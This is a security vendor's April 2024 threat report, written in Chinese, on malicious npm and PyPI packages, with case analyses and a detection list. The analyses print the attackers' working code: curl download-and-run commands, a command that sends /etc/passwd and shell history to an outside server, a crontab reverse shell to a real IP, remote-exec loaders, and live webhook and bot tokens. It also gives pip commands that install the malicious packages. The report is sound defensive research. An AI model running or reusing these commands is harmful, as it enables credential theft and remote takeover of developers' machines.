供应链投毒预警 | 开源供应链投毒202404月报发布(含投毒案例分析)

2024-05-16 13:28

本文主要是介绍供应链投毒预警 | 开源供应链投毒202404月报发布(含投毒案例分析),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

概述

悬镜供应链安全情报中心通过持续监测全网主流开源软件仓库,结合程序动静态分析方式对潜在风险的开源组件包进行动态跟踪和捕获,发现大量的开源组件恶意包投毒攻击事件。在2024年4月份,悬镜供应链安全情报中心在NPM官方仓库(https://www.npmjs.com/)和Pypi官方仓库(https://pypi.org/)上共捕获772个不同版本的恶意组件包,其中NPM仓库投毒占比接近89%, Pypi仓库投毒占比11%;Pypi官方仓库经历3月份遭受集中式投毒后,对新发布组件包进一步加强审查力度,本月Pypi恶意投毒攻击呈现大幅下降趋势。

4月份恶意组件数量及仓库分布

4月份恶意组件每日统计

4月份恶意组件态势统计

针对4月份捕获的恶意投毒组件,我们结合静态规则扫描、源代码审计、动态行为监控等方式进行多方位分析,总结统计投毒组件的攻击方式和恶意行为标签。

攻击方式统计

投毒组件攻击方式主要包括:

恶意文件执行

恶意文件下载

代码混淆执行

恶意文件释放

Shell命令执行

其中,投毒者最常用的攻击方式依旧是恶意文件执行(84.25%),其攻击流程是利用开源组件包管理器中的自定义指令来执行隐藏在组件安装包中的恶意文件。此外,恶意文件远程下载执行(8.64%)、恶意代码混淆(4.81%)、恶意文件释放执行(1.2%)以及Shell命令执行(1.09%)都是攻击者惯用的投毒手段。

恶意行为统计

在4月份捕获的恶意投毒组件中,信息窃取攻击占比高达93%,其中系统基础信息、系统密码文件、系统日志、用户信息、网络配置、DNS服务器IP、浏览器Cookie及登录凭证等敏感信息是攻击者的主要窃取目标。值得关注的是,Pypi仓库发生多起CStealer窃密后门以及挖矿后门投毒;其次,通过远控木马和反向Shell后门进行远控投毒的攻击呈现逐步上涨趋势。相较于3月份,针对数字钱包应用的攻击有较大幅度减少。

投毒案例分析

本节将从4月份捕获的开源组件恶意包中选取部分具有代表性的投毒样本进行分析、还原投毒攻击细节。

PART.1系统信息外传

4月15~16号,攻击者在Pypi官方仓库发布多个包名为rhermann相关的恶意包(包括rhermann、rhermann-ct、rhermann-sdsm以及rhermann-sds)。这些恶意包具有相同的攻击代码以及相同的高版本号(99.0),可推断攻击者尝试进行包依赖混淆(Dependency Confusion)供应链投毒。

恶意代码直接植入在Python安装包setup.py中,当包管理器下载安装这些恶意Python包时,恶意代码优先触发执行。恶意代码主要负责收集并外传受害者系统的版本信息、主机名、用户名、本地网络配置、DNS解析配置、主机IP等敏感数据(如下图所示)。

收集到的系统敏感信息将被外传给攻击者控制的服务接口:https://pypi-index.org/process_data

该恶意域名pypi-index.org与Pypi官方域名相比具备一定迷惑性,注册时间为2024年4月10号。

截止目前,国内部分Python镜像源仍缓存这些恶意包,其Pypi官方包下载量为758次。

以rhermann为例,目前该恶意Py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装,因此潜在的受害者数量可能会更多。

以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。

pip3 install rhermann -i Simple Index

Part2 恶意设立了命令执行

4月2号,攻击者在NPM官方仓库发布包名为monopulips的恶意NPM组件。在组件安装包的模块描述文件package.json中,通过定义postinstall指令在安装过程中执行恶意bash命令。

​bash -c 'curl -sSL https://research20934i.sherlockshat007.workers.dev -o script.sh && chmod +x script.sh && ./script.sh && rm -f script.sh'

恶意bash命令通过curl从攻击者服务器(https://research20934i.sherlockshat007.workers.dev)拉取第二阶段恶意bash脚本(script.sh)受害者系统上执行。

第二阶段bash脚本内容如上所示,其内嵌了一段编码后(先base64编码再字符串反转)的bash脚本代码,进一步解码后获取第三阶段真实的恶意bash代码解码(如下所示),其主要目的是将系统密码文件/etc/passwd、bash历史文件~/.bash_history 外传到攻击者服务器(https://8b53a8d8a1c2.sherlockshat007.workers.dev)

curl -X POST -H "Hostname: $(hostname)" -H "packagetype: NPM" -H "Whoami: $(whoami)" -H "Pwd: $(pwd)" -d "Install Directory: \n $(ls -la) \n Security Groups: \n $(id) \n User Directory: \n $(ls ~)\n etc-passwd: \n $(cat /etc/passwd ) \n Installed NPM modules: \n $(npm ls)\n bash history: \n $(cat ~/.bash_history)" -H "secureforward: lksadf8q3elk39" -H "Content-Type: text/plain" https://8b53a8d8a1c2.sherlockshat007.workers.dev

此外在4月4号,我们在Pypi仓库捕获到的恶意Python包lyft-core(版本号999.3.9)通样也使用以上极为相似的恶意bash代码进行投毒攻击(如下所示)。

Part3 反向Shell后门

4月4~7号,投毒者在Pypi官方仓库投放2个伪装成知名Python UserAgent解析库(user-agents)的恶意包(user-agents-parser和user-agents-parsers),这两个恶意包内置了包含Linux反向Shell后门代码的Python模块user-agents。当安装这些恶意包时,恶意包会释放出后门user-agents模块,并替换掉受害者系统环境中原有user-agents模块,实现Python模块投毒。

以user-agents-parser为例,在2.2.2版本安装包中,user-agents/parsers.py在文件末尾包含恶意代码(如下图所示)。

__import__("os").system("(crontab -l > .tab ; echo "*/5 * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/95.179.177.74/1337 0>&1'" >> .tab ; crontab .tab ; rm .tab) > /dev/null 2>&1")

恶意代码通过linux crontab将反向Shell后门写入linux计划任务,尝试实现后门持久化。如果受害者系统为Linux系统,系统bash shell将反弹到投毒者服务器(95.179.177.74:1337)上,投毒者可对受害者系统进行远程Shell后门控制。

截止目前,这两个恶意Python包总下载量为904次。

以user-agents-parsers为例,目前该恶意Py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装。

以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。

pip3 install user-agents-parsers -i Simple Index

Part4 CStealer后门

4月25~26号, 悬镜供应链安全情报中心在Pypi官方仓库中捕获14个伪装http客户端开展CStealer窃密后门攻击的投毒包,涉及multiplerequests、multihttp以及multihttps。这些恶意包主要针对Windows平台Python开发者,恶意包在安装时会远程加载CStealer后门到受害者系统上执行,该后门会窃取受害者系统敏感信息、主流浏览器隐私数据、数字货币钱包应用数据以及系统屏幕截屏等。此外,后门还会尝试驻留Windows系统启动目录实现开机自启动。

以multihttps恶意包2.32.5版本为例,当Python开发者使用pip install从Pypi官方仓库或下游镜像源直接安装或依赖引用恶意组件包时,将触发执行Python安装包setup.py中第一阶段恶意代码(如下图所示)。

第一阶段恶意代码进一步从投毒者服务器上拉取第二阶段恶意代码并执行。

from urllib import requestpackage_url = "https://frvezdffvv.pythonanywhere.com/getpackage"package_name = request.urlopen(package_url).read()exec(base64.b64decode(package_name))

第二阶段恶意代码经过base64编码,如下所示:

Base64解码后还原出真实的第二阶段恶意代码,如下所示:

经代码分析后确认该恶意代码是github开源CStleaer后门项目的变种版本。

cstealer/cstealer.py at main · can-kat/cstealer · GitHub

该CStealer后门主要包括以下功能:

1. 收集系统敏感信息

2. 收集浏览器隐私数据

3. 收集数字钱包应用数据

4. 系统屏幕截屏

5. 开机自启动

关于CStealer后门详细分析可参考恶意Py包伪装HTTP组件开展CStealer窃密后门攻击

如下所示,CStealer后门窃取的敏感数据包括受害者系统的屏幕截屏都将发送到投毒者webhook接口上。

https://discord.com/api/webhooks/1232850034068951061/T9KYVDomdrducNo_ruHMwHqxePkIfSiKJumxUHggS82EhLTCviZT5F_JOiqVnnP9p6VW

截至目前,这些CStealer恶意Py包在Pypi官方仓库上已被下载超过2200次。

以multihttps为例,目前该恶意py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装。

以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。

pip3 install multihttps -i https://pypi.tuna.tsinghua.edu.cn/simple

Part5 恶意木马植入

4月15~18号,攻击者在NPM官方仓库发布包名为djs-log,版本号为1.1.0和1.1.1的恶意包,通过伪装成知名NPM discord组件discord.js(下图所示)进行恶意木马投毒攻击。

在组件安装包的模块描述文件package.json中,通过定义preinstall指令在安装过程中直接执行shell命令。

djs-log恶意包的index.js被混淆保护,混淆代码如下所示:

对混淆代码进行还原后(下图所示)可知,该恶意文件主要负责从discord CDN服务器拉取恶意木马文件Uninstall-Node.js.exe到系统中执行。

Uninstall-Node.js.exe在Virustotal上被3款杀毒引擎判定为恶意木马文件。

此外,对于 Python组件reqargs在官方Pypi上连续发布4个不同版本恶意包。该组件安装包的setup.py文件被植入远程下载执行木马文件的恶意代码(如下图所示)。

恶意代码从Dropbox服务器上下载新的木马程序windows.exe到受害者系统临时目录上执行。

b43e&hm=aaf95cda360017d5147699490bdb6a23597fbf29a42599b417011fbc40262018

该木马程序在virustotal上被多款杀毒引擎检出(如下图所示)。

Part6 数字钱包app窃密劫持

4月9号,攻击者在Pypi官方仓库投放包名为useragent-api的恶意包(涉及版本3.1.1、3.1.4及3.1.5)。在__init__.py中存在包含恶意代码的fetch_useragents函数接口(如下所示)。

第一阶段恶意代码采用字符串hex编码,解码后得出真实代码如下所示,通过远程拉取第二阶段恶意代码并执行。

import requests; exec(requests.get("https://rentry.co/9sdyip8p/raw").text)

第二阶段恶意代码内容如下所示:

第三阶段恶意代码采用PowerShell编写,并通过base64编码,解码后为:

$pastebinURL = "https://rentry.co/7w5v9p4k/raw"; $code = Invoke-WebRequest -UseBasicParsing -Uri $pastebinURL | Select-Object -ExpandProperty Content; Invoke-Expression -Command $code

PowerShell代码会进一步从攻击者服务器拉取第四阶段PowerShell代码(https://rentry.co/7w5v9p4k/raw)并执行,该PowerShell恶意代码主要包含5大功能:

1.收集用户口令数据

2.收集数字钱包应用数据

3.篡改劫持数字钱包应用

4.系统屏幕截屏

5.数据外传

收集用户口令数据

根据内置关键字匹配规则(如下如所示),收集所有命中匹配敏感关键字(数字钱包助记词、数字钱包登录口令、账户私钥等)的文件。

收集数字钱包应用数据

针对主流数字钱包(Exodus、Electrum、Monero)的应用数据目录进行全量拷贝(如下所示)。

篡改劫持数字钱包应用

此外,恶意代码还会远程下载包含后门的app.asar文件,并尝试杀掉Exodus钱包应用进程后,使用恶意app.asar替换原有Exodus钱包app.asar文件,从而实现钱包应用程序的持久化劫持。

https://cloudflare-ipfs.com/ipfs/Qmed41NkN5P6T7uNb8dTTWE74gAcXzrsmzjY5FokecKgTD

系统屏幕截屏

如下所示,恶意代码还会调用PowerShell接口对受害者系统屏幕进行截屏操作并生成png图片。

数据外传

对于收集的数字钱包应用数据进行zip打包,最后将zip压缩包和系统截屏图片通过curl传输到攻击者远程服务接口(如下图所示)。

https://api.telegram.org/bot6435250964:AAGjL9ujzVRNrU2o23KcTFeUFwawogschE0

截至目前,该恶意Py包在Pypi官方仓库上已被下载860次。

Part 7挖矿后门

4月10号,投毒者通过伪装Python colorprint模块(下图所示)在Pypi官方仓库投放4个不同版本的恶意包(py-colorprinting),这些恶意包内置了静默下载执行数字货币挖矿后门的colorprint python模块。当安装这些恶意包时,恶意包会释放出colorprint后门模块,并替换掉受害者系统环境中原有colorprint模块,实现Python模块投毒。

以py-colorprinting 0.1.5版本为例,colorpr/__init__.py默认加载core.py,将触发执行包含恶意代码的InitializeConsole函数(如下图所示)。恶意代码启动线程从投毒者服务器上下载挖矿程序压缩包ore-miner.zip,解压ore-miner.zip后执行ORE币挖矿程序ore-miner.exe。

https://cosmoplanets.net/well-known/pki-validation/ore-miner.zip

ore-miner是基于Electron开发的挖矿客户端,整体程序结构如下所示:

投毒者使用的矿池地址为:

https://jupiter-frontend.rpcpool.comhttps://raydium-raydium-5ad5.mainnet.rpcpool.com

截止目前,该恶意Python包总下载量为864次。

目前该恶意Py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装。

以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。

pip3 install py-colorprinting -i https://pypi.tuna.tsinghua.edu.cn/simple

排查方式

针对本分析报告中的投毒样本,开发者可使用OpenSCA-cli,将受影响的组件包按如下示例保存为db.json文件(可参考总结中提到的组件包信息按格式增减),直接执行扫描命令(opensca-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到文中所披露的投毒包的影响。

[  {    "product": "monopulips",    "version": "[0.1.0, 0.1.5]",    "language": "javascript",    "id": "XMIRROR-MAL45-31C14E5C",    "description": "NPM组件monopulips存在恶意代码,远程下载恶意bash命令执行。",    "release_date": "2024-04-02"  },  {    "product": "lyft-core",    "version": "[999.3.9]",    "language": "python",    "id": "XMIRROR-MALF5-C41B3019",    "description": "Python组件lyft-core存在恶意代码,执行恶意bash命令执行。",    "release_date": "2024-04-04"  },  {    "product": "user-agents-parsers",    "version": "[2.2.1]",    "language": "python",    "id": "XMIRROR-MAL45-A43ABEDD",    "description": "Python组件user-agents-parsers存在恶意代码,利用反向shell后门攻击Linux系统开发者。",    "release_date": "2024-04-04"  },  {    "product": "user-agents-parser",    "version": "[2.2.2, 2.2.3]",    "language": "python",    "id": "XMIRROR-MAL45-38C6CDD2",    "description": "Python组件user-agents-parser存在恶意代码,利用反向shell后门攻击Linux系统开发者。",    "release_date": "2024-04-07"  },  {    "product": "useragent-api",    "version": "[3.1.1, 3.1.4, 3.1.5]",    "language": "python",    "id": "XMIRROR-MAL45-DF933A23",    "description": "Python组件useragent-api存在恶意代码,劫持数字货币钱包应用。",    "release_date": "2024-04-09"  },  {    "product": "py-colorprinting",    "version": "[0.1.1, 0.1.2, 0.1.3, 0.1.5]",    "language": "python",    "id": "XMIRROR-MAL45-62B107C3",    "description": "Python组件py-colorprinting存在恶意代码,远程下载并执行挖矿后门。",    "release_date": "2024-04-10"  },  {    "product": "rhermann-sds",    "version": "[99.0]",    "language": "python",    "id": "XMIRROR-MAL45-CC99C1A2",    "description": "Python组件requests-http存在恶意代码,窃取系统敏感信息。",    "release_date": "2024-04-15"  },  {    "product": "rhermann-ct",    "version": "[99.0]",    "language": "python",    "id": "XMIRROR-MAL45-10EEFB21",    "description": "Python组件rhermann-ct存在恶意代码,窃取系统敏感信息。",    "release_date": "2024-04-15"  },  {    "product": "rhermann",    "version": "[99.0]",    "language": "python",    "id": "XMIRROR-MAL45-7BFF9F62",    "description": "Python组件rhermann存在恶意代码,窃取系统敏感信息。",    "release_date": "2024-04-16"  },  {    "product": "rhermann-sdsm",    "version": "[99.0]",    "language": "python",    "id": "XMIRROR-MAL45-208AAF32",    "description": "Python组件rhermann-sdsm存在恶意代码,窃取系统敏感信息。",    "release_date": "2024-04-16"  },  {    "product": "djs-log",    "version": "[1.1.0, 1.1.1]",    "language": "javascript",    "id": "XMIRROR-MAL45-579E44E0",    "description": "NPM组件djs-log存在恶意代码,远程下载并执行恶意木马程序。",    "release_date": "2024-04-19"  },  {    "product": "multiplerequests",    "version": "[2.31.0, 2.31.1, 2.31.2, 2.31.3, 2.31.4, 2.31.5]",    "language": "python",    "id": "XMIRROR-MAL45-7DF79312",    "description": "Python组件multiplerequests存在恶意代码,利用CStealer窃密后门盗取系统敏感数据。",    "release_date": "2024-04-24"  },  {    "product": "multihttp",    "version": "[2.31.12]",    "language": "python",    "id": "XMIRROR-MAL45-B1487A8",    "description": "Python组件multihttp存在恶意代码,利用CStealer窃密后门盗取系统敏感数据。",    "release_date": "2024-04-26"  },  {    "product": "multihttps",    "version": "[2.31.11]",    "language": "python",    "id": "XMIRROR-MAL45-14D9F4B5",    "description": "Python组件multihttps存在恶意代码,利用CStealer窃密后门盗取系统敏感数据。",    "release_date": "2024-04-26"  }]​

总结

根据2024年4月份捕获的开源组件投毒统计数据以及分析报告来看,投毒攻击手法和目标呈现多样化趋势。NPM仓库依旧是投毒攻击的重点目标,敏感数据窃取仍是主流攻击,此外,针对数字钱包应用的劫持攻击以及挖矿后门投毒攻击也日趋严重。

悬镜供应链安全情报中心是国内首个数字供应链安全情报研究中心,依托悬镜安全团队强大的供应链SBOM管理与监测能力和AI安全大数据云端分析能力,对全球数字供应链安全漏洞、投毒事件、组件风险等进行实时动态监测与溯源分析,为用户智能精准预警“与我有关”的数字供应链安全情报。

这篇关于供应链投毒预警 | 开源供应链投毒202404月报发布(含投毒案例分析)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/995038

相关文章

SpringBoot实现动态插拔的AOP的完整案例

《SpringBoot实现动态插拔的AOP的完整案例》在现代软件开发中,面向切面编程(AOP)是一种非常重要的技术,能够有效实现日志记录、安全控制、性能监控等横切关注点的分离,在传统的AOP实现中,切... 目录引言一、AOP 概述1.1 什么是 AOP1.2 AOP 的典型应用场景1.3 为什么需要动态插

Golang操作DuckDB实战案例分享

《Golang操作DuckDB实战案例分享》DuckDB是一个嵌入式SQL数据库引擎,它与众所周知的SQLite非常相似,但它是为olap风格的工作负载设计的,DuckDB支持各种数据类型和SQL特性... 目录DuckDB的主要优点环境准备初始化表和数据查询单行或多行错误处理和事务完整代码最后总结Duck

Redis主从/哨兵机制原理分析

《Redis主从/哨兵机制原理分析》本文介绍了Redis的主从复制和哨兵机制,主从复制实现了数据的热备份和负载均衡,而哨兵机制可以监控Redis集群,实现自动故障转移,哨兵机制通过监控、下线、选举和故... 目录一、主从复制1.1 什么是主从复制1.2 主从复制的作用1.3 主从复制原理1.3.1 全量复制

五大特性引领创新! 深度操作系统 deepin 25 Preview预览版发布

《五大特性引领创新!深度操作系统deepin25Preview预览版发布》今日,深度操作系统正式推出deepin25Preview版本,该版本集成了五大核心特性:磐石系统、全新DDE、Tr... 深度操作系统今日发布了 deepin 25 Preview,新版本囊括五大特性:磐石系统、全新 DDE、Tree

Linux Mint Xia 22.1重磅发布: 重要更新一览

《LinuxMintXia22.1重磅发布:重要更新一览》Beta版LinuxMint“Xia”22.1发布,新版本基于Ubuntu24.04,内核版本为Linux6.8,这... linux Mint 22.1「Xia」正式发布啦!这次更新带来了诸多优化和改进,进一步巩固了 Mint 在 Linux 桌面

Redis主从复制的原理分析

《Redis主从复制的原理分析》Redis主从复制通过将数据镜像到多个从节点,实现高可用性和扩展性,主从复制包括初次全量同步和增量同步两个阶段,为优化复制性能,可以采用AOF持久化、调整复制超时时间、... 目录Redis主从复制的原理主从复制概述配置主从复制数据同步过程复制一致性与延迟故障转移机制监控与维

MySQL不使用子查询的原因及优化案例

《MySQL不使用子查询的原因及优化案例》对于mysql,不推荐使用子查询,效率太差,执行子查询时,MYSQL需要创建临时表,查询完毕后再删除这些临时表,所以,子查询的速度会受到一定的影响,本文给大家... 目录不推荐使用子查询和JOIN的原因解决方案优化案例案例1:查询所有有库存的商品信息案例2:使用EX

多模块的springboot项目发布指定模块的脚本方式

《多模块的springboot项目发布指定模块的脚本方式》该文章主要介绍了如何在多模块的SpringBoot项目中发布指定模块的脚本,作者原先的脚本会清理并编译所有模块,导致发布时间过长,通过简化脚本... 目录多模块的springboot项目发布指定模块的脚本1、不计成本地全部发布2、指定模块发布总结多模

Redis连接失败:客户端IP不在白名单中的问题分析与解决方案

《Redis连接失败:客户端IP不在白名单中的问题分析与解决方案》在现代分布式系统中,Redis作为一种高性能的内存数据库,被广泛应用于缓存、消息队列、会话存储等场景,然而,在实际使用过程中,我们可能... 目录一、问题背景二、错误分析1. 错误信息解读2. 根本原因三、解决方案1. 将客户端IP添加到Re

Redis主从复制实现原理分析

《Redis主从复制实现原理分析》Redis主从复制通过Sync和CommandPropagate阶段实现数据同步,2.8版本后引入Psync指令,根据复制偏移量进行全量或部分同步,优化了数据传输效率... 目录Redis主DodMIK从复制实现原理实现原理Psync: 2.8版本后总结Redis主从复制实